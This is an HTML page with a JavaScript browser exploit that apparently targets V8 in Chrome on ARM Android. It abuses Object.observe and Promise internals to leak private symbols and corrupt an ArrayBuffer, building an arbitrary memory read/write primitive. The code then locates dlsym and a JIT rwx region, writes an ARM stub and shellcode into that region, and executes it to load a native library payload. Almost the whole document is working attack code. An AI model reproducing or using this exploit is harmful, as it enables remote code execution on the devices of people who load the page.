<!-- author:@oldfresher -->
<html>
<div id="message" style="color: red;"></div>
<script>
function gc(){
    for(var i=0;i<0x200000;i++){
        new Array;
    }
}
function to_hex(num){
    return (num>>>0).toString(16);
}
function log (){
    var str = "<h3>";
    for(var i=0;i<arguments.length;i++){
        str+=arguments[i];
    }
    str += "</h3>";
    console.log(str);
    document.write(str);
}

function set_access_address(address){
    controllerdv.setUint32(3*4,address,true);
    controllerdv.setUint32(4*4,0x40000000,true);
}

function get_dateview(address){
    set_access_address(address);
    if(this.controlleedv === undefined){
        this.controlleedv = new DataView(controlee);
    }
    return this.controlleedv;
}

function read_uint32(from_address){
    return get_dateview(from_address).getUint32(0,true);
}

function write_uint32(to_address,writed_value){
    get_dateview(to_address).setUint32(0,writed_value,true);
}
function dumpHex(address){
    str = "\n"
    for(var i=0;i<20;i++){
        str+=read_uint32(address+i*4).toString(16)+" ";
        if(i%4==3)str+="\n";
    }
    log(str);
}

var kMessages;
Object.prototype.__defineGetter__("observe_accept_invalid",function(){
    log("called");
    kMessages=this});
try{Object.observe({},function(){},1)}catch(e){}
delete Object.prototype["observe_accept_invalid"];


kMessages["strict_read_only_property"].push("%3");
kMessages["object_not_extensible"].push("%3");
var args = null;
Array.prototype.__defineGetter__(3,function(){
    log("3 get called");
    args=this})

var p = Promise.defer();
Object.freeze(p.promise)
try{p.reject(1)}catch(e){}

var promiseStatusSymbole = args[0];


var flag = true;
Object.prototype.__defineSetter__(promiseStatusSymbole,function(){
    log("set status called");
    if(flag){Object.freeze(this)}})
try{new Promise(function(){})}catch(e){}
var promiseValueSymbol = args[0];
flag=false;
delete Object.prototype[promiseStatusSymbole];

flag = true;
Object.prototype.__defineSetter__(promiseValueSymbol,function(){
    log("set status called");
    if(flag){Object.freeze(this)}})
try{new Promise(function(){})}catch(e){}
var promiseOnResolveSymbol = args[0];
flag=false;
delete Object.prototype[promiseValueSymbol];
delete Array.prototype[3];
kMessages["strict_read_only_property"].pop();
kMessages["object_not_extensible"].pop();


var pro = new Promise(function(){});
var onResolve=pro[promiseOnResolveSymbol];
var InternalArray = Object.getPrototypeOf(onResolve)

var innerProto = {__proto__:null}


function toHex(str) {
	var hex = '';
	for(var i=0;i<str.length;i++) {
		var temp = ("0"+ str.charCodeAt(i).toString(16)).substr(-2);
		hex += temp;if(i%4==3)hex += ' ';
	}
	return hex;
}
var overwrite;

/*
0x5a0df8e8: 0x5a0df429  0x9f808531  0x00000003  0x00000020
0x5a0df8f8: 0x61616161  0x61616161  0x61616161  0x9f616161
0x5a0df908: 0x9f80af89  0x9fa08089  0x9fa08089  0x9ff9a000
0x5a0df918: 0x00004000  0x00000000  0x9ed38931  0x9fb08091
0x5a0df928: 0x00000000  0x00000000  0x9f808121  0x00000100
0x5a0df938: 0x000000c2  0x000000c2  0x000000c2  0x000000c2
*/
var ga;

Object.prototype.__defineSetter__.call(innerProto,0, function(val){
        log("set 0 called");/*innerArray=this;*/
        //set hole
        //Object.defineProperty(this,0,{value:val});
        }
        )
var steps="leaking";
var controller=null;
Object.prototype.__defineGetter__.call(innerProto,0, function(){
        if(steps==="leaking"){
            this.length=1;
        }else{
            controller= new ArrayBuffer(0x1000);
            disableHook();
            steps="leaking";
            var abStr = leakArrayBuffer();
            log("internal Array length is "+this.length);
            var oldLength = this.length;
            for(var i=0;i<abStr.length;i++){
                this[i+oldLength]=abStr.charCodeAt(i);
            }
            log(JSON.stringify(this));
        }
        log("get--- 0 called");
        return 0x48;
}
);
function enalbeHook(){
    Object.setPrototypeOf(InternalArray,innerProto)
}

function disableHook(){
    Object.setPrototypeOf(InternalArray,null);
}
function str2dv(str){
    var ab = new ArrayBuffer(str.length);
    var dv = new DataView(ab);
    for(var i=0;i<str.length;i++){
        dv.setUint8(i,str.charCodeAt(i));
    }
    return dv;
}
function leakArrayBuffer(){
    var encoded = "aaaaaaaa";
    for(var i=0;i<7;i++)encoded+=encoded;
    log("string length is "+encoded.length);
    enalbeHook();
    var encodedResult = encodeURI(encoded);
    disableHook();
    //find modified ArrayBuffer
    log(toHex(encodedResult));
    var pattern = String.fromCharCode(0x80,0x80,0x80,0,0x80,0x80,0x80,0,0x80,0x80,0x80,0);
    var index = encodedResult.indexOf(pattern,36);
    if(index==-1){
        throw "find modified array buffer failed";
    }
    var str=encodedResult.substr(index-4,4);
    controleeAddress=String.fromCharCode(str.charCodeAt(0)-1)+str.substr(1,3);

    //find sprayed ArrayBuffer
    pattern = String.fromCharCode(0x20,0,0,0,0,0,0,0);
    index = encodedResult.indexOf(pattern,36);
    log(toHex(encodedResult));
    if(index==-1){
        throw "find array buffer failed";
    }
    log("find array bufer at "+index);
    var abStr = encodedResult.substr(index-16,12);
    abStr += controleeAddress;
    controleeAddress=str2dv(controleeAddress).getUint32(0,true);
    abStr += String.fromCharCode(0,0,0,2);
    log(toHex(abStr));
    return abStr;
}
steps="overwrite";
//controller modify controlee
var controlee = new ArrayBuffer(0x10000);
controlee[0]={};//防止map改变
controlee[1]={};//防止map改变
controlee[2]={};//防止map改变
//spray

for(var i=0;i<0x200000/16;i++){new Array}//move controlee to old space
for(var i=0;i<0xc000;i++){
    var ab=new ArrayBuffer(0x10);
    ab[0]=controlee;
    ab[1]=0x404040;
    ab[2]=0x404040;
    ab[3]=0x404040
};
var encoded2="1111";
enalbeHook();
var encodedResult = encodeURI(encoded2);
disableHook();
log("byte length of controller is "+controller.byteLength+typeof(controller));
if(typeof(controller)!="object"||controller.byteLength!=0x1000000){
    alert("modify controller failed");
    throw("error");
}
var controllerdv = new DataView(controller);
log("controller memory layout");
for(var i=0;i<10;i++){
    log(("00000000"+controllerdv.getUint32(i*4).toString(16)).substr(-8));
}

//生成一块足够大的可读写内存
var huge_str = "eval('');";
for(var i=0;i<8000;i++) huge_str += 'a.a;';
huge_str += "return 10;";
var huge_func = new Function('a',huge_str);
huge_func({});
var text = new Text("");

var normalArrayBufferLength = 0x800000;
controlee[0]=new ArrayBuffer(normalArrayBufferLength);
controlee[1]=huge_func;
controlee[2]=text;
var normalArrayBuffer= controlee[0];
var controleeElementAddress = read_uint32(controleeAddress+8,true)-1;
dumpHex(controleeElementAddress);
var normalArrayBufferAddress = read_uint32(controleeElementAddress+8,true)-1;
var functionAddress = read_uint32(controleeElementAddress+12,true)-1;
var textAddress = read_uint32(controleeElementAddress+16,true)-1;
var normalArrayBufferBackingStore = read_uint32(normalArrayBufferAddress+3*4,true);

var rwxAddress = read_uint32(functionAddress+3*4);
var wrapperTypeInfo=read_uint32(textAddress+3*4);
log("rwxAddress "+to_hex(rwxAddress)+" wrapperTypeInfo "+to_hex(wrapperTypeInfo));
function find(start,len,pattern){
    log("find start at "+ to_hex(start));
    
    var dv = get_dateview(start);
    for(var i=0;i<len-pattern.length*4;i++){
        for(var j=0;j<pattern.length;j++){
            if(dv.getUint32(i+j*4,true)!=pattern[j]) break;
        }
        if(j==pattern.length) return start+i;
    }
    alert("find failed");
}
//var magic_number=[0xeef6f71e,0xb1104604,0x47a02010];//get_elf_hwcap_from_getauxval,0x447949c3
var magic_number=[0xb1104604,0x47a02010,0x46284604];//get_elf_hwcap_from_getauxval,0x447949c3
var magic_position=find((wrapperTypeInfo&~0xfff)-0x1546000,0x2000000,magic_number);
log("find magic at "+to_hex(magic_position));//78 f6 bc ee

function get_dest_from_blx(addr) {
    var val = read_uint32(addr);
    var s = (val & 0x400) >> 10;
    var i1 = 1 - (((val & 0x20000000) >> 29) ^ s);
    var i2 = 1 - (((val & 0x8000000) >> 27) ^ s);
    var i10h = val & 0x3ff;
    var i10l = (val & 0x7fe0000) >> 17;
    var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2);
    return ((addr + 4) & ~3) + off;
}

var dlsym_addr = get_dest_from_blx(magic_position-4);
log("dlsym address is "+to_hex(dlsym_addr));
var so_str="";
var shellcode = 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write_shellcode(dlsym_addr,buffer){
    //ldr r0,[pc,4]//0xe59f0004 
    //ldr r1,[pc,4]//0xe59f1004
    //b shellcode;//0xea000001
    //dlopen_addr//normalArrayBufferBackingStore
    //dlsym_addr
    //shellcode
    //var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr];
    var stub=[0xe59f0004,0xe59f1004,0xea000001,normalArrayBufferBackingStore,normalArrayBufferLength];
    var dv = get_dateview(buffer);
    for(var i=0;i<stub.length;i++){
        get_dateview(buffer).setUint32(i*4,stub[i],true);
    }
    dv =get_dateview(buffer+stub.length*4); 
    for(var i=0;i<shellcode.length;i++){
        dv.setUint8(i,shellcode[i]);
    }
    return stub.length*4+shellcode.length;
}

function backup_original_code(start_address){
    var backup_arr = [];
    for(var i=0;i<shellcode.length+4096;i++){
        backup_arr[i]=get_dateview(start_address).getUint8(i);
    }
    return backup_arr;
}

function restore_original_code(start_address,backup_arr){

    for(var i=0;i<shellcode.length+4096;i++){
        get_dateview(start_address).setUint8(i,backup_arr[i]);
    }
}

var backup_arr=backup_original_code(rwxAddress);
var writed_len = write_shellcode(dlsym_addr,rwxAddress);
var args_view = new DataView(normalArrayBuffer,0,32);
var so_file_view = new DataView(normalArrayBuffer,4096);
var js_view = new DataView(normalArrayBuffer,0x100000);
args_view.setUint32(0,dlsym_addr+12,true);
args_view.setUint32(4,dlsym_addr,true);
args_view.setUint32(8,rwxAddress,true);
args_view.setUint32(12,writed_len,true);
args_view.setUint32(16,normalArrayBufferBackingStore+4096,true);
args_view.setUint32(20,so_str.length/2,true);
//args_view.setUint32(24,normalArrayBufferBackingStore+0x100000,true);
//args_view.setUint32(28,js_str.length,true);
log("length is "+so_str.length);
for(var i=0;i<so_str.length;i+=2){
    var value = so_str.substr(i,2);
    value = "0x"+value;
    so_file_view.setUint8(i/2,parseInt(value));
}
huge_func({});
restore_original_code(rwxAddress,backup_arr);
/*setInterval(function () {
        document.getElementById("message").innerHTML=
        String.fromCharCode.apply(null, new Uint8Array(normalArrayBuffer,128,3000));
        //log(String.fromCharCode.apply(null, new Uint8Array(normalArrayBuffer,128,1024)));
}, 1000);*/
</script>
</html>
